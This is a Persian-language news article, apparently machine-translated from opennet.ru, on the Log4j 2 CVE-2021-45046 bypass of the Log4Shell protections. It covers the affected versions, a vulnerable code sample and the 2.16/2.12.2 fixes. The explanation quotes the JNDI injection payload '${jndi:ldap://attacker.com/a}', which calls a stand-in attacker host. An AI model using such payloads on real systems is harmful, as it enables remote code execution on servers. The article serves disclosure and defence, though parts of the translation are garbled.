یک گزینه حمله جدید برای Log4j 2 که به شما امکان می دهد محافظت اضافه شده را دور بزنید

آسیب‌پذیری دیگری در پیاده‌سازی جستجوهای JNDI در کتابخانه Log4j 2 (CVE-2021-45046) شناسایی شده است که با وجود اصلاحات اضافه‌شده در نسخه 2.15 و بدون توجه به استفاده از تنظیمات «log4j2.noFormatMsgLookup» برای محافظت ظاهر می‌شود. این مشکل عمدتاً برای نسخه های قدیمی Log4j 2 خطرناک است که با استفاده از پرچم "noFormatMsgLookup" محافظت می شود، زیرا امکان دور زدن محافظت از آسیب پذیری های قبلی (Log4Shell, CVE-2021-44228) را فراهم می کند که به شما امکان می دهد کد خود را بر روی سرور برای کاربران نسخه 2.15، بهره برداری محدود به ایجاد خرابی برنامه به دلیل اتمام منابع موجود است.

این آسیب‌پذیری فقط در سیستم‌هایی ظاهر می‌شود که از جستجوی زمینه برای گزارش‌گیری استفاده می‌کنند، مانند ${ctx:loginId}، یا الگوهای MDC (نقشه زمینه)، مانند %X، %mdc، و %MDC. عملیات به ایجاد شرایط برای خروجی داده‌های حاوی جایگزین‌های JNDI در گزارش هنگام استفاده از پرس‌و‌جوهای زمینه یا الگوهای MDC در برنامه‌ای است که قوانین قالب‌بندی خروجی را در گزارش تعریف می‌کنند.

محققان LunaSec خاطرنشان کردند که برای نسخه‌های Log4j کمتر از 2.15، این آسیب‌پذیری می‌تواند به عنوان یک بردار جدید برای حمله Log4Shell مورد استفاده قرار گیرد که منجر به اجرای کد می‌شود، اگر عبارات ThreadContext که شامل داده‌های خارجی در خروجی گزارش استفاده شود، صرف نظر از اینکه آیا پرچم "محافظت" فعال است. noMsgFormatLookups" یا الگوی "%m{nolookups}".

یک گزینه حمله جدید برای Log4j 2 که به شما امکان می دهد محافظت اضافه شده را دور بزنید

دور زدن حفاظت به این واقعیت منجر می شود که به جای جایگزینی مستقیم "${jndi:ldap://attacker.com/a}"، این عبارت از طریق مقدار یک متغیر میانی که در قوانین قالب بندی خروجی گزارش استفاده می شود جایگزین می شود. . به عنوان مثال، اگر از پرس و جوی متنی ${ctx:apiversion} هنگام خروجی‌گیری به گزارش استفاده شود، می‌توان با جایگزین کردن داده‌های «${jndi:ldap://attacker.com/a}» در گزارش، حمله را انجام داد. مقدار نوشته شده روی متغیر apiversion. نمونه ای از کد آسیب پذیر: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // مقدار هدر HTTP "X-Api-Version" به ThreadContext ThreadContext.put("apiversion "، apiVersion)؛ // هنگام خروجی به گزارش، مقدار apiversion خارجی با استفاده از جایگزینی ${ctx:apiversion} logger.info("دریافت درخواست برای نسخه API") پردازش می‌شود. بازگشت "سلام، جهان!"؛ }

در Log4j نسخه 2.15، می‌توان از این آسیب‌پذیری برای انجام حملات DoS هنگام ارسال مقادیر به ThreadContext استفاده کرد که در نتیجه یک حلقه در پردازش قالب قالب‌بندی خروجی ایجاد می‌شود.

یک گزینه حمله جدید برای Log4j 2 که به شما امکان می دهد محافظت اضافه شده را دور بزنید

برای جلوگیری از آسیب پذیری، به روز رسانی های 2.16 و 2.12.2 منتشر شد. در شاخه Log4j 2.16، علاوه بر اصلاحات اجرا شده در نسخه 2.15 و اتصال درخواست های JNDI LDAP به "localhost"، عملکرد JNDI به طور پیش فرض کاملاً غیرفعال شده و پشتیبانی از قالب های جایگزین پیام حذف می شود. به عنوان یک راه حل امنیتی، پیشنهاد می شود کلاس JndiLookup را از مسیر کلاس حذف کنید (به عنوان مثال، "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

می توانید ظاهر اصلاحات در بسته ها را در صفحات توزیع (Debian، Ubuntu، RHEL، SUSE، Fedora، Arch) و سازندگان پلتفرم جاوا (GitHub، Docker، Oracle، vmWare، Broadcom و Amazon/AWS، Juniper، VMware، Cisco، IBM، Red Hat، MongoDB، Okta، SolarWinds، Symantec، McAfee، SonicWall، FortiGuard، Ubiquiti، F-Secure و غیره).

منبع: opennet.ru

اضافه کردن نظر